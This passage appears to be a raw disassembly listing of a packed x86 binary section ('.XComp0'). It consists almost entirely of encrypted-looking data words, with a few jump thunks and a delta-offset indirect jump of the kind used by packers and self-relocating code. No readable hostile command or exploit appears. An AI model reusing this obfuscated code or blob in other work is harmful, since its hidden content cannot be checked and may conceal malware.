44936036h, 1566328Bh, 9E971032h, 316A0333h, 156280B3h dd 58F2232h, 9D661132h, 0A99C5A19h, 3A01BF2Eh, 0B2FFD803h dd 9C7E3D47h, 0EC4E1DB7h, 1EE94B37h, 0FC662232h, 15661134h dd 8A41629Bh, 7306BE36h, 9E07FAB9h, 9C333536h, 11A309D7h dd 94664432h, 156626F7h, 314A9632h, 0F9E7716Eh, 15664436h dd 0A8420EBBh, 1566112Eh, 0FC3B6633h, 1566443Bh, 0FE9B933Bh dd 0DF56A71Eh, 0F4DB0556h, 1A63BD18h, 156623B9h, 0FCCBE832h dd 15668834h, 4E3CE003h, 0A86303F9h, 160CEB6Ch, 4742AC76h dd 9205A588h, 4994A335h, 3C0B6C0Fh, 7306D2E2h, 3605A3B3h dd 1F8F8953h, 0E8661132h, 8E36A015h, 90E4664h, 14DBAFD5h dd 0FC63E81Ch, 15668839h, 2A557A71h, 5B148A65h, 0B8678124h dd 4F663352h, 38073400h, 7D8568B7h, 41573737h, 31228B75h dd 24406916h, 90636566h, 0FC0EF278h, 15668826h, 0D85D84A7h dd 0CA4B3658h, 50D942D1h, 3E6CDFB3h, 0A0982366h, 9481AB65h dd 156615F5h, 11890932h, 92664432h, 9C3A060Eh, 0BE9F3536h dd 156682DBh, 26119132h, 0B0C00714h, 982A485Ah, 0EC7C0D8Fh dd 14E14B37h, 0EC662232h, 0CE61E9Fh, 0FC668832h, 15664426h dd 0B23BD155h, 6A21174Bh, 8B12C782h, 6DEAEC33h, 0E22A24AEh dd 0F62AE1Fh, 639FA528h, 51650545h, 0EC630A16h, 10276644h dd 0F7C8C8Dh, 75BBCE52h, 95AD9D3Dh, 740747F5h, 10EF8799h dd 75664432h, 749EE4B9h, 4B4225CDh, 0ED624CB1h, 9E0024F1h dd 8B0E43C3h, 9C66116Eh, 9369AC06h, 15664433h, 42FBAFCAh dd 1A60117Bh, 156681BAh, 0EDDC2432h, 9E770F62h, 0C69970C1h dd 156B6152h, 0F6DB4432h, 2DCE1FDBh, 20399C03h, 73CD9E59h dd 0F35C97B3h, 0E830CB53h, 68FEECDh, 0CD668832h, 71EB6D7h dd 6F06A9F1h, 92E28141h, 775990D0h, 0CEDFCCA3h, 0A86CD24Eh dd 458AFD4Ah, 0D5F251A2h, 44BEBFC0h, 0A8ED96A4h, 458A152Ah dd 0DFA02429h, 79261957h, 1E2C5E91h, 798A152Ah, 162C5E89h dd 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h, 798A152Ah dd 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah, 54A851D6h dd 0BA8660D5h, 0CE2559D7h, 438B3AF5h, 0E232DCF1h, 0BA8C141Ah dd 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h, 5587BE38h dd 0DF07462Ch, 52A96114h, 3C6D5h, 5492B85Eh, 3075152Ah dd 5CDDAEAEh, 6A718FA7h, 0D9FB57A3h, 44BAA3B0h, 0DD7BAEA4h dd 5863E96Fh, 0ABA851A2h, 3075195Fh, 5332DCAAh, 168C141Ah dd 641ECB2Fh, 9675132Bh, 0BD54142Bh, 458A152Ah, 0A8EDDAC3h dd 4582D7E3h, 3044BAh, 348D8D00h, 6A060136h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 0B9E4C350h, 7A8B22Dh, 0DE9h, 0C69E7300h, 0D31BF1A4h dd 0A9208144h, 8D8958EBh, 5F90CDDh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 0C8C35343h, 814103F6h, 0BA845AEBh dd 0C71CB43Eh, 0F926C185h, 6FE805h, 0E5BD8B00h, 0C705F933h dd 0F900FD85h, 5, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0B8315DADh dd 0FF51ECA2h, 0F91771B5h, 66C08005h, 20D595FFh, 665205F9h dd 0F5FFD881h, 0FF006A5Ah, 0F91AED95h, 0EBC08B05h, 5F5BF78h dd 0EAF651A7h, 7DE742FEh, 0A050E7FFh, 0A2D97430h, 0D4532A43h dd 7EB6C2D9h, 6EFE5EA0h, 0B8A62ED6h, 0E852B41h, 87439508h dd 921B2A3Bh, 4608C923h, 0BCACD8CFh, 141E2FCEh, 5EE902B1h dd 8355FA45h, 0A4F305E9h, 0DB03CB8Bh, 32565DB9h, 638AAEEBh dd 7D4D1AECh, 38BF473Ah, 3C56D5B1h, 6F50B579h, 0A643A7EDh dd 325652A1h, 0B30C5DB1h, 322E275Bh, 53AA37B7h, 32572BBEh dd 0E983D5B1h, 0B0A4F305h, 0F29D11F1h, 2375FD7Ah, 9EBD17FBh dd 0D525FB7Bh, 0ADFDF53Fh, 9174DCC9h, 0CFB73422h, 0B723AC7Ah dd 1A20AD29h, 7975FD7Ah, 55987C27h, 0A073FC58h, 8354C7FFh dd 0A4F305E9h, 0BD8DDB8Bh, 601D8C8h, 61F98D8Dh, 44B80602h dd 2B321566h, 2E9C1CFh, 0C8D00731h, 4904C783h, 0AE9F675h dd 86000000h, 3A5480F9h, 42FB1998h, 8060F9C2h, 890F03C2h dd 6, 840Fh, 83610000h, 0C8904ECh, 89C18924h, 8B6059C8h dd 0BD8361D8h, 5F931C9h, 83097500h, 0F912B5BDh, 19740005h dd 0C08B5350h, 411B8h, 0DD858900h, 8D05F915h, 0FBF3EB9Dh dd 5BD3FF05h, 0B5BD8358h, 5F912h, 53501774h, 411B8h, 0DD858900h dd 8D05F915h, 0FBF08C9Dh, 5BD3FF05h, 81666058h, 0F10CECBh dd 28Eh, 612CB400h, 48B50F8h, 4C48324h, 8E9h, 0AD67D900h dd 0A0A62612h, 19E9F8B6h, 0C8000000h, 2ABAD4h, 5 dup(0) ; --------------------------------------------------------------------------- jmp loc_6021D3 ; --------------------------------------------------------------------------- push 60266B7h jmp loc_5734FA ; --------------------------------------------------------------------------- push 6026766h jmp loc_5734FA ; --------------------------------------------------------------------------- push 6026942h jmp loc_5734FA ; --------------------------------------------------------------------------- db 3Ah dd 23C27A97h, 45B054BBh, 19BC60A3h, 48AF55B0h, 63C163A4h dd 0BE49712Eh, 8E7D5F86h, 0BD4C6F56h, 8E7F6087h, 90CB6C56h dd 239420EDh, 53C056Ah, 94202356h, 53E3A023h, 0A7608CEDh dd 819C4126h, 9685A7D2h, 0B2772429h, 0BA4B7087h, 0C47D9A94h dd 9685E697h, 90A66329h, 0E11842D4h, 0CC3B9F18h, 7A0310C9h dd 0F7299685h, 0C47E40Ah, 2F8FB0BEh, 83F625DCh, 239D5Ah dd 2E0BF303h, 487F4DA6h, 0AD4EAC28h, 239C8CCCh, 6C955C49h dd 8CF38695h, 9670239Ch, 311193A4h, 0FC12D79Dh, 4D1960E3h dd 3FF8239Dh, 0AF516B8h, 0F41323E0h, 0FAF48E6h, 0E3DC8D00h dd 0CB9E0FF6h, 650AE62Bh, 62CB48D6h, 1D000004h, 0A630A7F1h dd 7896C57Ch, 62F8F9Eh, 0B439D4F9h, 0CA951E5h, 9D6D2E4Fh dd 33FEAB23h, 0D3B5391Ah, 7C832102h, 423ABB54h, 9610A855h dd 95B97036h, 0DE035FC9h, 311D513Dh, 0F8D8DF2Ch, 0F1C39617h dd 9FCFB954h, 0A951E517h, 0C730F9FCh, 20FACA26h, 0FD252773h dd 46E8C134h, 0AB568C1Ah, 8C60A914h, 9EA56E4Ch, 37F41A95h dd 387FC71Ch, 568B7826h, 7A998469h, 1A460AFFh, 0F9848F7Ch dd 761A460Ah, 7A994089h, 1A460AFFh, 924A7F7Ch, 6D518A33h dd 0B37E2BA2h, 75E6C268h, 0C8ADC6BBh, 493h, 0E517FAD5h dd 0B31DE02h, 0DF05FEECh, 0A32D3F8h, 0D408FFEBh, 2894C33Eh dd 349A3DDFh, 1BC225D7h, 2E8F36EEh, 0E2973DDFh, 941F4831h dd 6020C523h, 95E873CEh, 12299685h, 0F3650115h, 8CC772A7h dd 299685F1h, 0E792C16Eh, 64299685h, 4FDC72B7h, 98EACFC4h dd 0BE63202Fh, 943C9941h, 0DCF5997Bh, 46325CBEh, 47B0598Bh dd 0BA6F66A5h, 75755594h, 2E977F6Ch, 6A6BA617h, 769738BFh dd 3542AA7Fh, 7B053048h, 5A1A2DC1h, 1C23946Bh, 0D04DA1B8h dd 7BF05971h, 15F1C399h, 0CB42BF5h, 37D79203h, 25F617B8h dd 0B227ED77h, 0E47F668Fh, 26000003h, 379E46CBh, 21C47897h dd 2D984CB7h, 24C3798Ch, 97AD4FB8h, 8A7D5D1Ah, 0C2497352h dd 0F910BB1Ah, 0D23BA443h, 64EFC82Ah, 23941E19h, 0FF8F3196h dd 0EF431469h, 0D0DE5A7Eh, 6033E019h, 0EC2F9823h, 59730615h dd 1F02393h, 0EBBE2FDAh, 3BE81026h, 596C09BAh, 0C44B2393h dd 38F4D896h, 0B03DC12Eh, 0A23ED363h, 634B2CBCh, 2A5h dd 78638CC5h, 0B45FB556h, 6A4193DCh, 9A5F569Bh, 2DB85032h dd 0EBFA73B1h, 0A6102AA2h, 10DF6FBAh, 0BC3641AFh, 0F5504655h dd 7458F6C0h, 5E93868Bh, 2A3D31A3h, 8016BA66h, 294C46Eh dd 0F6522BE8h, 0D2CF2995h, 0F5D5E217h, 28CE9B12h, 27F2500Bh dd 6E52F8Fh, 10BB24E9h, 0EC25F4F9h, 11B740E9h, 82EFBF2h dd 9CC43045h, 0EAF80F23h, 0D698401Ch, 0D2ED1448h, 7D001BE8h dd 0FA239CBCh, 543DE90Dh, 7000000h, 0DBFF69FFh, 0BF36D3FAh dd 0FBAE1FEAh, 0C6F40B36h, 0FF1C193Dh, 2F8F982Fh, 0A1758F85h dd 4A3CD072h, 5E4F4CA4h, 9D1CC0B5h, 359C3E23h, 0AE7B7295h dd 8CC77263h, 239D1CF1h, 0AA46B16Eh, 4A7F8633h, 0F1DDDA43h dd 0EEFC132Dh, 0D6344418h, 0F60148h, 0CEE30000h, 6C828D31h dd 4F7B607Dh, 7B7C71B8h, 462F9B4Fh, 0E325CBA8h, 0E40CF32Eh dd 0D5E20B2Bh, 0D9A015F8h, 0F6EF01DEh, 5D0731C7h, 0D48508C1h dd 30AB342h, 85F823DEh, 229960Dh, 0FC47F105h, 2996125Bh dd 974DC01Dh, 83D035A3h, 0E81BDE15h, 60578247h, 8B9E6C7Ah dd 133EF98Bh, 46FB38DEh, 58010DCEh, 0EAEB2C4Eh, 11FF454Dh dd 0AB9EB079h, 2F91D2BFh, 837CA562h, 1B699357h, 7B93C256h dd 14F8423Ch, 70B9501Dh, 14C129CCh, 48935EA7h, 0B1D9EB0Eh dd 8ECF9FAh, 4A000002h, 13B26AA7h, 15C064ABh, 49AC50B3h dd 18BF65A0h, 93B153B4h, 8E79611Eh, 0BE4D6F56h, 8D7C5F86h dd 0BE4F7057h, 809B5C86h, 23941CFDh, 0CE33D57Ah, 0C818C31h dd 8C79625Dh, 2FBE5009h, 3AC57C8Bh, 56E07693h, 0B2CB88B1h dd 2F299685h, 0B00DDC72h, 8A82A75Dh, 33D40B19h, 350B2B8Fh dd 23AA638Ch, 0C7729B44h, 8598E172h, 0AC0E2996h, 23835657h dd 0AB688E66h, 2107D785h, 0A137230Dh, 9437C079h, 8A3D685h dd 63202996h, 857227AEh, 7A2FA669h, 15A257D4h, 89BC52B5h dd 2F8F57D4h, 854950C4h, 0B88C1E18h, 4E6F5E96h, 0E8CF0ABFh dd 20EBD104h, 0C918FCADh, 3739E811h, 0F053CF5h, 0E0A9CDDh dd 48F20455h, 789EEDDFh, 0D7C5FF8Dh, 37D712F1h, 9CA66514h dd 0E1FAE323h, 0CC9D10FBh, 0A6730615h, 33F0239Ch, 5DFE43FEh dd 239CA61Ch, 0F04AEC99h, 9105E505h, 0BDDD4A46h, 3AC57CB5h dd 49295C96h, 0E8C6CE28h, 4E0DAC21h, 239CA72Bh, 2036FBA8h dd 339522C7h, 0FF1CDDD0h, 239CA77Eh, 33C30EFBh, 0E2C2h dd 0DD00F700h, 5300A92Ch, 239CA72Ah, 1F2FFAA7h, 8B31CE19h dd 0BA5C0D80h, 80C538AEh, 0CB72DBD2h, 490A2FFAh, 2F98E042h dd 8DF02BD6h, 0A239416h, 401F91Dh, 0D449A691h, 94163647h dd 3BF6B323h, 5D203B06h, 0DA239416h, 0FB08B22Dh, 0D9F6E15Bh dd 0C8F20D34h, 41D21B3Bh, 504CCF07h, 870EFDDFh, 2F993CA0h dd 0C108E1D4h, 8FFEBCCh, 7A243205h, 500B36F3h, 0F6DB5D2Dh dd 0DBD239A3h, 4BEB980Eh, 0F700AEBCh, 0EABF36D5h, 0C548A544h dd 0F617B81Fh, 15D3F8FFh, 0DADD30DEh, 5A5B96B9h, 0A5B68BB0h dd 0F6DAA9D4h, 43C25451h, 55B81517h, 0A4AF8AAFh, 0F6DAA9D9h dd 3BE28C56h, 1AC0F20Fh, 0FB03FCFh, 5DFE43FEh, 0F6DAB11Ch dd 0A14AEC99h, 1294h, 73CEEC00h, 25A8618Ch, 8596E774h dd 16132996h, 8CCE7400h, 3E29AC65h, 7E696CA1h, 4423AA5Fh dd 7B7C719Ah, 3235B84Fh, 6F787D8Ah, 2D3ABB4Ah, 7275788Bh dd 1BCCC14Eh, 361468h, 24248900h, 4B850h, 44010000h, 68580424h dd 539Ah, 52243C89h, 0C281E289h, 4, 4EA81h, 14870000h dd 2C895C24h, 0BE565124h, 5B6E1E15h, 0C15EF189h, 0F18107E1h dd 0B10D6FD2h, 5459CF89h, 83242C8Bh, 575104C4h, 84D8959h dd 2434FF59h, 4C4835Dh, 50243C8Bh, 405E089h, 83000000h dd 48704C0h, 2BE95C24h, 0DEFFF713h db 1Bh, 26h, 1Dh ; --------------------------------------------------------------------------- loc_6021D3: ; CODE XREF: .XComp0:00601B1Cj mov eax, 6026B6Fh add eax, ebp jmp eax ; --------------------------------------------------------------------------- aKUcsUJ3 db 'k²“cSÉ<,',7,'U',0Bh,'jÝ3´',0 dd 676B9424h, 7D957257h, 1FEBE937h, 10D4225Ch, 13A9814Ch dd 0CBA58C5h, 607A8AE2h, 0EDE9h, 8C666000h, 0F04A8D8h dd 0DF84h, 21B58B00h, 8305F917h, 850F00FEh, 22h, 189985C6h dd 684505F9h, 8E726969h, 2719B5FFh, 858D05F9h, 5FCC510h dd 8589D0FFh, 5F90769h, 3E80F08Bh, 31850FE9h, 8D000000h dd 0FEEF2F85h, 8BD0FF05h, 0F90569BDh, 84C78105h, 8B000011h dd 0F91721B5h, 0B9F78705h, 8, 0B58BA4F3h, 5F91721h, 8824858Dh dd 0D0FF05FDh, 28F5B58Bh, 0FE8305F9h, 22850F00h, 0C6000000h dd 0F9189985h, 0F4685405h, 0FFFF4EBEh, 0F92719B5h, 10858D05h dd 0FF05FCC5h, 0F58589D0h, 8B05F928h, 0E93E80F0h, 3A850Fh dd 0B58B0000h, 5F928F5h, 0EF2F858Dh, 0D0FF05FEh, 569BD8Bh dd 0C78105F9h, 1184h, 8B08C783h, 0F928F5B5h, 0B9F78705h dd 8, 0B58BA4F3h, 5F928F5h, 8824858Dh, 0D0FF05FDh, 858DC361h dd 6026C20h, 2DE58589h, 0BE805F9h, 57000000h, 8593A209h dd 8E15ECE6h, 9E85A4Eh, 0FE000000h, 6A4CAB04h, 7913F1Dh dd 830F50h, 5E000000h, 0B9665A5Eh, 0C2819467h, 740Ah, 2BFAB70Fh dd 21C8BC0h, 0FEF18166h, 79EB8144h, 6673ECD6h, 811BF6BEh dd 85FFFBEBh, 9E918h, 0FBF10000h, 0B21CE53Ah, 81CD8681h dd 0F2A8E2F3h, 0CCF68106h, 53108D60h, 13E9h, 0C1EE2500h dd 0D7E8DA52h, 0C27A19E9h, 624E4659h, 74D8878Ah, 0F02048Fh dd 58Ch, 0B978BE00h, 0E8830350h, 13E95301h, 0C6000000h dd 51686D84h, 0C1C92AD1h, 4622C31Bh, 0D08C8001h, 4859FBCEh dd 8B664848h, 0BCF881F3h, 0FFFFF8Ch, 0FFFF7885h, 0BE9FFh dd 0EBF70000h, 0B9D7381Eh, 25150DEEh, 11E953h, 3E8F0000h dd 0CB0h, 2 dup(0) dd 0E9000000h, 742h, 79AB6689h, 679D724Eh, 73A95A80h, 669E6754h dd 78AC5B7Fh, 9438679Ah, 0C826D173h, 9736A143h, 0C22BCA72h dd 8E2B994Bh, 9417ACCDh, 4C42923h, 6FAA638Ch, 32A36488h dd 290ED777h, 379E46C1h, 0B3767796h, 0D5489E4Ch, 0EDB584F0h dd 54058841h, 838A33C2h, 6D506712h, 537B7A9Ch, 0D3A439BCh dd 0C548A587h, 0F415B81Fh, 9146A550h, 0A32ADF2Ah, 48F11AC4h dd 0D1762F1h, 0E7942996h, 3FFC9E47h, 63F314B8h, 17B6B6A4h dd 0AB047F2h, 3EDB55F9h, 0D255803h, 0E5A22996h, 9E3DA251h dd 9104CD42h, 770211E8h, 0F429960Dh, 1664E707h, 9229960Dh dd 0BECE12Eh, 37A627DEh, 7C4C1240h, 9F513521h, 584D2F25h dd 0B9h, 8C31CEAAh, 0B95D0C81h, 0C178953Ah, 85A2DB78h dd 0C92D2996h, 46ACE2B1h, 9D413096h, 4E97B772h, 0B4C556ABh dd 31299636h, 0C6FE274h, 0AF299637h, 0FCF8828Ah, 0E73451E5h dd 0DCAAB847h, 4D2FDC00h, 700900D4h, 6143B5F8h, 151CDh dd 0CEB30000h, 78CEDD46h, 6589968Dh, 46736A86h, 0D61BCEBFh dd 0B093A92Bh, 9CF58200h, 6A86717Ah, 56837CA5h, 61469FAFh dd 976E5B78h, 0AD10A752h, 4631BA5Ch, 867164A9h, 0DE2E9F64h dd 72E3BBA7h, 98E172C7h, 15299605h, 2B37C668h, 0B64F7C83h dd 0A26D51A0h, 0AB5C8077h, 6A9D3D2Ah, 997BB663h, 0D1217192h dd 3DF71772h, 24D8359Ah, 0A7608C0Ah, 0A1648572h, 6B53548Dh dd 6B331A4h, 314EA0Eh, 0A13DCF95h, 7493A36Eh, 0A1668666h dd 0BA219E7Bh, 8F30BF4Fh, 0D5A8B38Eh, 522995EFh, 0EFB3C655h dd 73302995h, 4E7C83BEh, 5F48A1B5h, 97785879h, 538E4316h dd 0F00C6DAEh, 5B822995h, 8C7227AEh, 0E2667F8Fh, 8E7B625Dh dd 3DBC5207h, 0CA4B3511h, 0EB6C4D2Fh, 0AF000000h, 0E5B0C98Ah dd 702D2995h, 73CE58DEh, 968595E8h, 1151229h, 43DCAF2h dd 0B538CFFBh, 8E9952E4h, 0C649A52Ch, 2ACF1ACFh, 0D7DE318Dh dd 0D1349502h, 1BC3A43Dh, 0D6F601F4h, 3D28BC31h, 0BBBE5D11h dd 38299685h, 0EA8F864Bh, 0F618EBCDh, 0E9D1DB07h, 0E8D4FFECh dd 36E3EA1Fh, 3E9E49FBh, 8DFA24ACh, 5A8F7F79h, 0AE675453h dd 96700C6Dh, 559C8929h, 14DB860h, 9B68526Dh, 5DB00D1Ah dd 4F488158h, 7C2DA06Fh, 4A4B35DAh, 847B4D2Fh, 0A646B15Ah dd 99BD6C61h, 7B8Dh, 608C5700h, 9A4126A7h, 0B3358A52h dd 0F732E36Ah, 0D42D12F6h, 95A33647h, 5506B329h, 2995A324h dd 92DE4A1h, 0F742ECFAh, 293E9A15h, 0F4FF0BB9h, 2995CC89h dd 4011FC06h, 0FC662200h, 0EAD22135h, 0F3DA03EBh, 0FFCA9F16h dd 0EB16DB8Eh, 0F81EE7D4h, 648CE03Eh, 0DD992AABh, 59299685h dd 52DD7D75h, 64DC2E36h, 9D3F28ADh, 2CE3676Eh, 45A0603Eh dd 0C4B32D19h, 1744D2Fh, 0CE000000h, 30A55E8Ch, 6667A647h dd 333925E4h, 92C67E85h, 0F823DE04h, 2F8FA73Ah, 23A9504Dh dd 0EAD08FD7h, 698294F6h, 9FDA79C0h, 1C239CC6h, 0C699E46Fh dd 6916239Ch, 7E5F8EA0h, 799A7D5Dh, 239CC700h, 8049807Dh dd 0A73A059h, 87239CC7h, 0C71069AAh, 908D239Ch, 5C7BB559h dd 1069AA73h, 8D239CC7h, 0AF545990h, 239CC6CCh, 0BF43A546h dd 0E90FA81Eh, 8C6B62A7h, 0DDA0BB64h, 5A239CD8h, 867164ADh dd 7930A56Ah, 623C2AE1h, 0CB636F96h, 6200F949h, 0D5797EC1h dd 0B054B916h, 0B0848587h, 70CDF45Fh, 42AE0FDEh, 0D3266D37h dd 833BC2D0h, 0B1986547h, 0C56469A0h, 0D678953Ah, 0A257B617h dd 0DC35B515h, 134A7DEh, 95444980h, 5E7F6881h, 92393EAFh dd 72867677h, 0F486B6Eh, 9553004h, 0D722D755h, 9D2F413Ch dd 0F817B723h, 3F9E1906h, 89D524CAh, 7EFF1CE5h, 0FB239D2Fh dd 0E409E80Eh, 2F5F1A39h, 1FDC239Dh, 33AD32EAh, 0F448D60Bh dd 1BCh, 3169FF4Eh, 57223108h, 0D4299685h, 0E92A0727h dd 2F8F919Dh, 21ECD100h, 0D902FDACh, 39F0A92Ch, 5F1A3900h dd 17239D79h, 9D7981FCh, 9D01FE23h, 0D4954EE0h, 0B80A3400h dd 8715F718h, 866651B6h, 0B95D0C81h, 0A746953Ah, 56BE6B62h dd 52D45469h, 1FC50CD5h, 4BF617B8h, 8C010AB4h, 0C7B039DDh dd 732E726h, 9CB5314Ch, 1FBFAE23h, 0CC1539F0h, 382D9F58h dd 0CCB37323h, 2836C569h, 86537986h, 7732A368h, 0C86E3BB2h dd 0B517C429h, 3F8A5F56h, 0B498549Dh, 755D48D6h, 0A7000000h dd 0D60365FFh, 0FA3FFA2Fh, 0F95B612h, 40D6E42Eh, 95E44C0Dh dd 13BB44A9h, 0E5A25AFCh, 0E41A63F0h, 2D90A995h, 0BC643AAh dd 104AB28Ah, 82B11A33h, 5C51B415h, 10F1DDC8h, 59C96920h dd 82EA1FFEh, 57B41AA5h, 541A48B7h, 66887F6Bh, 73260FAh dd 0F62F905h, 96537904h, 0A309F6A9h, 5F2D1CAh, 0FDAC21E4h dd 1E3FDC59h, 0DB2995F2h, 0ADCDF62Eh, 33000000h, 0B62E46CEh dd 53036927h, 0E931A7C3h, 4632330h, 3092F8Fh, 49979Eh dd 1ED6787Dh, 7A7B8A2Fh, 84636A9Fh, 6B8AB25Bh, 946F5982h dd 82914821h, 239D2CF7h, 4B428774h, 9D2DB0C8h, 4F685123h dd 4A2DA06Fh, 8AAC65A2h, 607D6F7Bh, 259277ADh, 0B7B343C6h dd 0F423C721h, 9D2B1667h, 5B969323h, 5F5E625Ah, 7366DC7h dd 41D207C2h, 299F7421h, 0D9DECFCCh, 0ECE019F4h, 3FA1D488h dd 5C85A903h, 547681BEh, 0CB6B3EAFh, 27B12E3Ch, 22D500Bh dd 0DAA1D9Bh, 9B022B4Eh, 36FBA81Dh, 4FB46FBh, 2A1D31DAh dd 239D7038h, 20FE26E3h, 83169FFh, 1C88BD04h, 0A7478F9Fh dd 0AD99C98Ah, 25442F98h, 62AB14C9h, 8C6B62A7h, 9D6FAA63h dd 27F09FE3h, 59242FBEh, 0D623939Eh, 0D6F7E029h, 53E3B637h dd 14B740E9h, 2D9261F5h, 1EBE39E0h, 0AF20C2CCh, 0D31E00A6h dd 0FEE707E2h, 2455063Bh, 0A1239400h, 93FF52E4h, 552E464Bh dd 0AC0E4094h, 1974E17Bh, 886154AFh, 4EAD41h, 0B218C32Ch dd 81649851h, 3B3CB15Ch, 35C2778Eh, 66867194h, 0D97D2CA1h dd 8CB58A10h, 0E264AECFh, 0C0612B18h, 45EA8B61h, 0B847E722h dd 0F01DC2AAh, 0E107F049h, 56681122h, 6E518E2h, 0F9B025EAh dd 0B1141E30h, 0ED8C010Ch, 991CE9D2h, 16BD2EC0h, 3000000h dd 7B2846CEh, 6DA63335h, 29D0ADC9h, 95C68FEAh, 0FF0F0C29h dd 0AC658C39h, 6CA13E29h, 0AA5F7E69h, 719A4423h, 0B84F7B7Ch dd 7D8A3235h, 0BB4A6F78h, 788B2D3Ah, 0C14E7275h, 89521BCCh dd 0B1BF57E2h, 8145B876h, 0B876B5F7h, 5FFA0145h, 8704EA83h dd 685C2414h, 5B30h, 68241C89h, 6BA8h, 51242C89h, 0D642B8B9h dd 4E1C112h, 0B850D9F7h, 34631008h, 26498D25h, 66753545h dd 0C129C8BBh, 59CB8958h, 242C8B54h, 5204C483h, 8950DA89h dd 84589D0h, 34FF5A58h, 0C4835D24h, 241C8B04h, 81E18951h dd 4C1h, 4C18300h, 5C240C87h, 0F709C9E9h, 0C9B834FFh, 3060274h dd 62E0FFC5h, 0C57A7138h, 0B856C2DAh, 962560D0h, 981A58F7h dd 0C55FDBA3h, 261D58C4h, 171AA64Eh, 0B11183FCh, 0A34DA3AFh dd 0A439BB0Fh, 0FC4D2CE6h, 690D7B59h, 0F66106C4h, 0F227AC22h dd 6B4A7CA9h, 0C52D29A4h, 577CF55Fh, 8D2D703Fh, 276798Dh dd 0F28B6606h, 0CDD8D89h, 6A05F9h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 800F6AC3h, 6, 13499589h dd 0BD8B05F9h, 5F92735h, 26C185C7h, 642005F9h, 958B0000h dd 5F904A1h, 0FD85C7h, 5F9h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h dd 44810424h, 180424h, 55450000h, 881DDDC3h, 858B246Dh dd 5F9295Dh, 13ADB5FFh, 6A05F9h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 1F23A8C3h, 0DDB8C213h dd 9589E38Ah, 5F92585h, 20D595FFh, 6A05F9h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 83DEE1C3h dd 61F0001Eh, 0D9D8BA7h, 6A05F926h, 0ED95FF00h, 8B05F91Ah dd 0CD2FEBC0h, 0ABAD3650h, 0D3841C17h, 0F906C31Fh, 7DC40500h dd 83BB8F4Eh, 38AAF125h, 779FD083h, 0CA09CF7Dh, 4BEED93h dd 1759F5EBh, 0B756B66Ah, 4E9A8E2h, 0EB000000h, 0E93F3A99h dd 810h, 123EED1h, 0EF15FAD6h, 0FB21E208h, 0EE16EFDCh dd 24E307h, 0CB0EF22h, 409E49FBh, 0FAE19CBh, 3AA342FAh dd 0F6C331D3h, 940F1465h, 1CDC9123h, 6FAA638Ch, 85F089CAh dd 0B06D2996h, 5DA4459Eh, 9685BBBEh, 202E3829h, 76838DC8h dd 43B2448Dh, 29CC7097h, 0A54449C4h, 0C056B31Ah, 82918C31h dd 299656F7h, 4B428774h, 568B846Ch, 570D70ABh, 9D8A2996h dd 0AFD7079h, 2EEFD0DCh, 96568CEDh, 2BD80229h, 0E103CEBBh dd 0EE1DBF38h, 26C532E7h, 39A453E3h, 55A329D0h, 975452A0h dd 0A74EE80Eh, 0B12A9344h, 21F8FD08h, 41F821E8h, 96476712h dd 1737E429h, 0D603E9CEh, 0CE9B12F7h, 33089203h, 0E55E66E1h dd 0D9006C38h, 964C3F3Ah, 2FBFBC29h, 43AA82D0h, 1B6580A9h dd 0BC75657Fh, 0B95A9F88h, 299665C0h, 5CB10E3Dh, 4D728195h dd 3046CDC0h, 0D5299665h, 0F742ECFAh, 9665215Ch, 4DE19E29h dd 2F7D24B8h, 0E507F04Dh, 9A141026h, 0EE000000h, 818C31CEh dd 0AC617E6Dh, 0EE8FCC75h, 6B299685h, 85EC8DCEh, 0BC692996h dd 6108E175h, 72A17656h, 29968607h, 0BC529784h, 9685EE89h dd 82836829h, 2BC12C0Bh, 1F5A7BAh, 0DBD217B9h, 1AC412FDh dd 4BE3EFC6h, 9615BDC9h, 8096213Ch, 2FF8D18Bh, 1964Dh dd 0CE700000h, 0D97D8831h, 0C327B61Ah, 51985144h, 9C735B5Ch dd 26AD0E19h, 975243C8h, 715C5B52h, 0A8121598h, 13E25A5Bh dd 211617C7h, 46973735h, 808F2FA6h, 20955C0Dh, 9A6F4E49h dd 598B4613h, 88BC516Eh, 0E873CEA6h, 29968595h, 0F2011512h dd 89A820CAh, 996C0D4Eh, 3CE92995h, 0D92D7DD8h, 0E3DC9D10h dd 0EFDDFF8h, 9617D287h, 1CC433C3h, 37F21DC1h, 36D9F502h dd 0F213B8BFh, 53E32EFBh, 775DFA9Ah, 97CCDE33h, 0A05FEF19h dd 0D903FCB2h, 5DFEBB32h, 2995F91Ch, 1125EC99h, 0D70DFAE2h dd 0D821CFF0h, 0F4D1F3B5h, 280F864Bh, 5FAE0FC2h, 9A4423AAh dd 0B9709F3Fh, 82893334h, 14424D0Bh, 0B96FFA2Dh, 8841BC57h dd 7D499570h, 4D2F5513h, 30931A3h, 24AE9EA2h, 0E31612h dd 8CF00000h, 8326A760h, 8D5C5E91h, 0C96DC2A3h, 5243C02Ah dd 10858865h, 2A29C527h, 6800691Ah, 5EFCF138h, 7AFBA3AFh dd 0B0C98AAFh, 2D299588h, 331FDE70h, 0CE769139h, 0FA839069h dd 77299588h, 6585648Ah, 9F4C2BA2h, 68518C34h, 9861549Dh dd 9589027Bh, 47827F29h, 6A9F7050h, 0AD568463h, 6C9B3F28h dd 0A95E7E69h, 0E81F7524h, 3FCCF2FAh, 0CA569B4Eh, 75571743h dd 0E23A85C1h, 423BD8A3h, 0BF2995C4h, 22E707C2h, 4D2F9DBEh dd 98F7h, 0FAD4A00h, 8CE45AFCh, 0B0537560h, 48736C3Dh dd 0D41DCCC1h, 399F18E1h, 26C524CAh, 851568F3h, 95922996h dd 0BF5CA55Ch, 299684BEh, 3FA84E3Bh, 72576059h, 88D7861h dd 44159851h, 5585CC70h, 749A79BEh, 67535985h, 3ABB506Eh dd 886FAA5Fh, 0A690A667h, 0AB648C88h, 0ED90CB76h, 6A299685h dd 0C35099BDh, 299685B7h, 9E4CB35Ch, 